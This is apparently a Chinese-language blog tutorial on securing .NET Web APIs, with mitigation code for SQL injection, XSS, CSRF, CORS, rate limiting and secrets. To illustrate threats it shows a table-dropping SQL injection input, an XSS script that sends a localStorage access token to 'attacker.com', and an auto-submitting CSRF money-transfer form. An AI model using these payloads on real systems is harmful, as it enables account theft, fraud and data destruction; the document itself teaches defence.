目录
[在 .NET 中应用 CORS 策略](#在 .NET 中应用 CORS 策略)

如果您喜欢此文章,请收藏、点赞、评论,谢谢,祝您快乐每一天。
介绍
如果您是一名 Web 开发人员,您可能已经意识到许多威胁会危及您的 Web 应用程序。在本文中,我将重点介绍一些可能影响 API 的常见安全风险以及一些关键的安全原则。我将主要阐述如何利用 .NET 功能来缓解这些威胁,但这些技术也可以轻松应用于任何其他编程语言。
以下是将要涵盖的主题列表:
身份验证、授权和权限
秘密管理
SQL注入
跨站脚本攻击(XSS)
跨站请求伪造 (CSRF)
跨域资源共享(CORS)
拒绝服务攻击
加密和HTTPS
第三方依赖项
身份验证、授权和权限
身份验证和授权对于保护任何 Web API 都至关重要,因此正确实现它们至关重要。现在,让我们深入探讨常见的安全威胁以及如何缓解它们:
- 身份验证薄弱------用户密码策略可能使帐户容易受到暴力破解攻击
- 权限过大------拥有超出必要权限的用户可能会利用其访问权限破坏系统。
缓解策略
- 使用第三方身份验证提供商------依靠谷歌、Facebook 或微软等值得信赖的提供商来增强安全性
- 防止用户枚举------限制用户只能访问他们需要交互的帐户,从而降低暴力破解攻击的风险
- 保护您自己的身份验证系统------如果您自行管理身份验证:要求使用强密码、复杂密码,正确地对密码进行哈希和加密,并且如果可能,强制执行多因素身份验证 (MFA)。
- 实施单点登录 (SSO) -- 如果您管理套件中的多个应用程序,请考虑使用Auth0等身份提供商或托管您自己的身份提供商(例如Keycloak)。
- 遵循最小权限原则 (PoLP) ------仅授予用户完成任务所需的权限。这就是为什么我更倾向于基于声明和基于策略的授权,而不是基于角色的授权------它们在分配精确的访问控制方面提供了更大的灵活性。
密钥管理
如果加密密钥或敏感数据泄露,强大的身份验证和授权系统也毫无意义。
最大的风险在于应用程序机密信息的存储不当,例如数据库连接字符串、加密密钥和 API 密钥。泄露这些机密信息可能导致严重的安全漏洞。
缓解策略
- 开发中的密钥 ------切勿 将密钥提交到源代码中。对于本地开发,请将密钥存储在单独的文件中,并将其排除在版本控制之外。在 .NET 中,您可以使用用户密钥来安全地管理密钥。
- 云端密钥管理 ------使用云原生密钥管理解决方案(例如Azure Key Vault或AWS Secrets Manager)来存储和保护敏感信息
- 本地部署环境中的密钥管理------如果系统运行在本地,请将密钥存储在环境变量中。虽然这种方式不如专用的密钥管理系统安全,但您仍应确保服务器采取额外的安全措施。

SQL注入
SQL注入攻击是指API以不安全的方式构造SQL查询,从而允许攻击者操纵查询并有可能获得对数据库的未经授权的访问权限。
例如,考虑以下存在漏洞的查询:
string query = "SELECT * FROM Users WHERE Username = '" + userInput + "'";
恶意行为者可以发送以下输入:'; DROP TABLE Users; --,这将有效地删除 Users 表。
缓解策略
- 限制数据库权限------即使发生注入攻击,限制数据库权限也能最大限度地减少损失。
- 用户参数化查询------这确保用户输入被视为数据,而不是可执行的 SQL 查询。
string query = "SELECT * FROM Users WHERE Username = @username";
using (SqlCommand cmd = new SqlCommand(query, connection))
{
cmd.Parameters.AddWithValue("@username", userInput);
//query execution
}
- 使用 ORM(例如 Entity Framework) ------它们会自动生成安全的查询。
//EF example
var user = db.Users.FirstOrDefault(u => u.Username == userInput);

跨站脚本攻击(XSS)
跨站脚本攻击 (XSS) 漏洞对 REST API 构成重大威胁,尤其当 API 返回的数据会在客户端浏览器中以 HTML 格式呈现时。如果 API 返回未经清理的用户输入,攻击者可能会无意中将恶意脚本注入网站或应用程序。
考虑一个简单的 .NET Core Web API,用于处理用户提交的评论:
public record Comment
{
public string UserName { get; set; }
public string Content { get; set; }
}
ApiController
Route("api/\[controller\]")
public class CommentsController : ControllerBase
{
private static List<Comment> _comments = new List<Comment>();
HttpPost
public IActionResult Post([FromBody] Comment comment)
{
_comments.Add(comment);
return Ok();
}
HttpGet
public IActionResult Get()
{
return Ok(_comments);
}
}
在这个例子中,API 只是简单地返回用户提交的评论,没有任何清理处理。如果用户提交的评论包含恶意 JavaScript:
<script>
// Retrieve the access token from localStorage
var accessToken = localStorage.getItem('access_token');
// Send the access token to the attacker's server
fetch('https://attacker.com/steal-token', {
method: 'POST',
body: JSON.stringify({ token: accessToken }),
headers: { 'Content-Type': 'application/json' }
});
</script>
当评论显示在客户端浏览器中时,该恶意脚本将执行,窃取访问令牌并将其发送到攻击者的服务器。
缓解策略
- 服务器端清理 ------使用类似库的工具
HtmlSanitizer在存储或返回用户输入之前对其进行清理。这可以确保从内容中移除任何潜在的有害脚本。
using Ganss.XSS;
HttpPost
public IActionResult Post([FromBody] Comment comment)
{
var sanitizer = new HtmlSanitizer();
comment.Content = sanitizer.Sanitize(comment.Content);
_comments.Add(comment);
return Ok();
}
-
转义 HTML 字符 - 确保在前端渲染数据时正确转义 HTML 字符。像React或Angular这样的现代前端框架默认会执行此操作,但开发人员始终应该仔细检查框架的文档,以确保正确进行转义。
-
实施内容安全策略 (CSP) - CSP 是浏览器的一项功能,有助于检测和缓解某些类型的攻击,包括跨站脚本攻击 (XSS)。您可以配置 CSP 标头来指定允许的内容来源,例如脚本、图像和样式,从而阻止执行不受信任的脚本。
Nginx配置示例:
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self';";
此配置将内容类型(脚本、样式、图像)的加载限制为与文档相同的来源,从而降低了 XSS 攻击的风险。
- 验证用户输入 ------确保验证用户输入,例如字符串长度和格式 。我喜欢采用纵深防御 策略,在前端和后端都进行验证。前端验证确保用户能够立即获得输入反馈,而后端验证则确保数据库中不会保存任何损坏的数据。FluentValidation 库是 .NET 中用于验证用户输入的优秀工具。

跨站请求伪造 (CSRF)
跨站请求伪造 (CSRF),也称为 XSRF 或会话劫持,是一种网络安全漏洞,恶意网站会诱骗用户在已通过身份验证的受信任网站上执行非预期操作。这是因为浏览器会在每次向网站发送请求时自动包含身份验证令牌(例如 Cookie)。
场景:想象一个银行应用程序,允许用户通过访问类似这样的网址来转账:
https://your-vulnerable-bank.example.com/transfer
攻击步骤:
- 精心构造恶意请求------攻击者在恶意网站上创建一个隐藏表单,向银行应用程序提交请求:
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack Example</title>
</head>
<body>
<h1>Congratulations! You're a Winner! (Don't believe this)</h1>
<form id="csrf-form" action="https://your-vulnerable-bank.example.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account" />
<input type="hidden" name="amount" value="1000" />
</form>
<script>
// This script would automatically submit the form. In a real attack,
// this would likely be hidden or obfuscated.
window.onload = function() {
document.getElementById("csrf-form").submit();
};
</script>
</body>
</html>
- 页面加载时, JavaScript 代码会自动提交表单,用户只需访问恶意网站即可,无需其他任何操作。表单中的隐藏字段包含攻击者的账户信息和转账金额,使用户无法察觉交易过程。
- 如果用户之前已登录且已保存会话 cookie,则请求将自动进行。
缓解策略
-
切勿使用 GET 请求修改数据或服务器状态------更改数据或服务器状态的 GET 请求本质上是不安全的,容易受到 CSRF 攻击。恶意网站即使只使用一个简单的图像标签,也能轻易触发这些 GET 请求,而无需用户进行任何交互。由于浏览器会自动将身份验证 cookie 包含在这些请求中,服务器可能会在不知情的情况下执行这些非预期操作。
-
SameSite=Lax设置带有属性的cookie 后 ,浏览器会在用户从外部网站发起顶级导航时发送 cookie,例如当用户从其他域点击指向您网站的链接时。但是,浏览器不会在类似 ` GET` 或 `GET` 这样的subresource请求中发送 cookie 。这种行为有助于防止攻击者伪造潜在的恶意 POST 请求。只要您的 GET 请求不更改服务器状态,这种方法就足够安全。images``iframes -
对敏感操作进行用户重新身份验证------这种方法确保即使攻击者诱骗用户发起请求,未经用户明确确认,敏感操作也不会完成。
-
使用基于令牌的授权------现代 Web 应用程序通常使用基于令牌的身份验证(例如存储在本地存储中的 Bearer 令牌),这种方式比传统的基于 Cookie 的身份验证更不容易受到 CSRF 攻击。然而,即使使用基于令牌的身份验证,也必须注意防范其他漏洞,例如 XXS 漏洞,攻击者可以利用这些漏洞从本地存储中窃取令牌。
-
使用防伪令牌 ------如果您的 Web API 使用基于 Cookie 的身份验证,请考虑使用防伪令牌 。传统 Web 应用和现代 Web 应用处理这些令牌的方式有所不同 。传统应用使用隐藏的表单字段,而现代 JavaScript 应用和单页应用 (SPA) 通常使用 AJAX,因此需要不同的方法,例如请求头或 Cookie。将身份验证令牌存储在 Cookie 中会造成 CSRF 漏洞。本地存储是一个更安全的选择,因为它的内容不会随每个请求自动发送。对于 SPA,最佳实践是将防伪令牌存储在本地存储中,并将其作为自定义请求头包含在 AJAX 请求中。
示例实现 :假设您遇到以下场景。您需要对PayTax以下方法应用防伪造保护。首先,您需要向客户端应用程序公开一个端点(也可以在用户登录期间完成),该端点会生成一个令牌X-CSRF-TOKEN,然后将其添加到响应头中,并由客户端浏览器本地存储。
namespace DemoBackend.Controllers
{
Route("api/\[controller\]")
ApiController
public class TestSecurityController(IAntiforgery antiforgery) : ControllerBase
{
HttpGet
Route("antiforgery-token")
public IActionResult GetAntiForgeryToken()
{
var tokens = antiforgery.GetAndStoreTokens(HttpContext);
Response.Headers.Add("X-CSRF-TOKEN", tokens.RequestToken!);
return Ok();
}
HttpPost
Route("pay-tax")
public async Task<IActionResult> PayTax([FromBody] PayTaxRequest request)
{
try
{
await antiforgery.ValidateRequestAsync(HttpContext);
// Your action logic here
return Ok("Tax payed successfully");
}
catch (Exception ex)
{
return BadRequest(ex.Message);
}
}
}
public record PayTaxRequest
{
public string Name { get; init; }
public double Amount { get; init; }
}
}
根据内部设置的配置AddAntiforgery,客户端应用程序在调用该方法时需要将其X-CSRF-TOKEN作为请求标头包含在内PayTax。
services.AddAntiforgery(options =>
{
options.HeaderName = "X-CSRF-TOKEN"; // Set the header name for the CSRF token
});
更多相关信息请点击此处查看。

跨域资源共享(CORS)
CORS 是一种基于 HTTP 头部信息的机制,它允许服务器指定除自身来源之外的其他来源(域名、协议或端口),从而允许浏览器从这些来源加载资源。当 Web 应用程序发出非简单请求的跨域 HTTP 请求时,浏览器会在实际请求之前执行"预检"请求。此预检请求使用特定HTTP OPTIONS方法,检查服务器是否允许实际请求。浏览器会发送头部信息,指示实际请求中将使用的 HTTP 方法和头部信息。这使得服务器能够灵活地仅允许来自可信来源的请求访问资源。
在 .NET 中应用 CORS 策略
这可以通过以下方式轻松配置:
services.AddCors(options =>
{
options.AddDefaultPolicy(
policy =>
{
policy.WithOrigins("http://example.com", "http://www.contoso.com");
policy.WithMethods(["POST", "GET", "DELETE", "PUT", "PATCH", "OPTIONS"]);
policy.WithHeaders(["Content-Type", "Accept", "Authorization"]); ;
});
});
以上代码在 ASP.NET Core 应用程序中配置 CORS。它建立了一个默认策略,允许来自指定源(例如 `http://example.com`http://example.com和`http://example.com`)的 HTTP 请求http://www.contoso.com。该策略允许使用 `GET` 和 `POST` 等 HTTP 方法POST, GET, DELETE, PUT, PATCH, and OPTIONS,并允许包含 `HTTPS` 标头。Content-Type, Accept, and Authorization
别忘了添加以下中间件。请务必按正确的顺序添加中间件:
app.UseCors();

拒绝服务攻击(DoS)
拒绝服务攻击(DoS攻击)的目的并非攻破系统或服务器,而是使系统无法被其他用户使用。这通常是通过向目标资源发送大量流量,直至服务器资源耗尽来实现的。这类攻击很少由单个IP地址发起,因为单个IP地址很容易被列入黑名单。它们通常由多个协同运作的资源发起------这也是"拒绝服务攻击"名称的由来Distributed DoS (DDoS)------并且通常通过攻击者控制的僵尸网络执行。
DoS攻击有多种类型,通常会针对网络协议栈的各个层面,例如ICMP攻击、TCP攻击等等。但是,我将只关注application-layer attacks......
缓解策略
-
防火墙规则------这是保护服务器的最简单方法。您可以在网络层的各个级别实施访问控制规则。这些规则可以在服务器级别设置,或者,如果使用云服务提供商,则可以在提供商级别设置。
-
速率限制 ------可以在 Web 服务器级别或 API 中实现。作为纵深防御策略的支持者,我建议在这两个地方都设置速率限制。但是,请记住,.NET 速率限制是在内存中运行的,因此对于内存密集型应用程序来说,这可能会是个问题。
Nginx中的速率限制:
http {
Define a shared memory zone for rate limiting
limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=1r/s;
server {
Apply rate limiting to all requests
limit_req zone=req_limit_per_ip burst=5;
Proxy requests to the .NET API
location / {
proxy_pass http://your_dotnet_api_backend;
Other proxy configurations...
}
}
}
.NET API 中的速率限制:
services.AddRateLimiter(options =>
{
options.RejectionStatusCode = StatusCodes.Status429TooManyRequests;
options.AddFixedWindowLimiter("fixed", options =>
{
options.PermitLimit = 100; // Allow 100 requests
options.Window = TimeSpan.FromSeconds(60); // a minute window
options.QueueProcessingOrder = QueueProcessingOrder.OldestFirst;
options.QueueLimit = 0; // No queueing; reject excess requests
});
});
注册限速中间件。再次提醒,请注意中间件的正确顺序。
app.UseRateLimiter();
将该属性添加到应用速率限制的控制器/方法中:
HttpGet
Route("account-balance")
EnableRateLimiting("fixed")
public IActionResult GetAccountBalance() => Ok("Total balance is 100");
- 构建可扩展性------这对于大型项目尤为重要。做好应对流量激增的准备,可以有效保护您的服务免受拒绝服务 (DoS) 攻击。一些有效的方法包括:卸载静态内容、缓存数据库查询、使用异步处理(例如事件代理)以及跨多个 Web 服务部署。如果您的应用程序部署在例如大型云提供商提供的托管 Kubernetes 服务上,则可以轻松实现这一点。该服务可以在高峰期快速启动资源并相对轻松地分配负载。

加密和HTTPS
敏感数据必须加密。一些最佳实践包括:
- 密码和其他用户私人数据在存储在数据库中时应进行加密。
- 我也倾向于对通过私人电子邮件发送给用户的所有内容进行加密,例如嵌入网站 URL 中的密码和电子邮件重置令牌。您可以在以下文章中找到示例。
- 加密算法不断发展演进。请务必使用最新、最安全的算法,因为旧算法可能存在漏洞。
谈到网络加密,就不能不提HTTPS。你的网络服务器必须使用HTTPS,因为使用HTTP时,所有传输中的数据都可能被拦截。
要在 Web 服务上配置 HTTPS,请从受信任的证书颁发机构 (CA) 获取 SSL/TLS 证书,或生成自签名证书。将证书安装到 Web 服务器并配置其使用 HTTPS,更新服务器配置文件以包含证书和私钥。确保防火墙已打开 443 端口,并配置从 HTTP 到 HTTPS 的任何必要重定向。
这里有一篇关于如何配置Nginx服务器以使用HTTPS的好文章。
第三方依赖项
第三方库极大地简化了我们的工作,但它们也可能带来我们无法控制的安全漏洞。因此,我们需要谨慎选择使用的库。以下是一些使用第三方依赖项的最佳实践:
- 使用最新版本------每种语言都有一个包管理工具,可以帮助您检查依赖关系树并将依赖项更新到最新版本。保持库的更新可以确保您获得最新的安全补丁。
- 监控漏洞 - 使用GitHub Dependabot等工具监控第三方依赖项中的漏洞。如果您使用的依赖项中发现任何漏洞,Dependabot 将通过电子邮件通知您。
- 轻松部署补丁 ------您的构建和部署流程应该脚本化并自动化。这确保了更新和补丁可以快速应用,无需人工干预,从而在最大限度减少中断的情况下维护安全性。例如,我喜欢在我的个人项目中使用Git Actions。
- 保护外部服务 - 如果您将第三方服务(例如 Google 或 Meta 登录)集成到 API 中,请确保这些服务也受到保护。妥善保管 API 密钥,如果您使用 API 密钥
webhooks,请确保其安全。这可以通过让第三方发送凭据或在处理请求之前通过确认来验证服务请求来实现。 - 操作系统和数据库漏洞------确保您可以轻松部署操作系统和数据库的安全补丁。如果您使用云服务作为 IaaS,通常情况下,此过程会自动完成。但是,如果您运行自己的服务器,打补丁可能会更加繁琐,因此必须建立一套流程,以便在补丁发布后立即快速部署。
结论
安全是一个涵盖面很广的话题,本文仅对如何保护 Web API 进行了浅尝辄止的探讨。作为 Web 开发人员,我们有责任了解最新的安全动态,并赢得用户的信任。
我们无需重新发明轮子;只需遵循通用的安全原则,并在开发过程中始终牢记安全即可。诸如最小权限原则和纵深防御之类的概念,可以从开发过程的最初阶段就帮助我们缓解许多问题。以安全思维编写代码、妥善保管密钥以及使用最新版本的第三方库,这些都在我们的掌控之中。让我们像重视性能和编码标准一样,将安全放在首位。
如果您喜欢此文章,请收藏、点赞、评论,谢谢,祝您快乐每一天。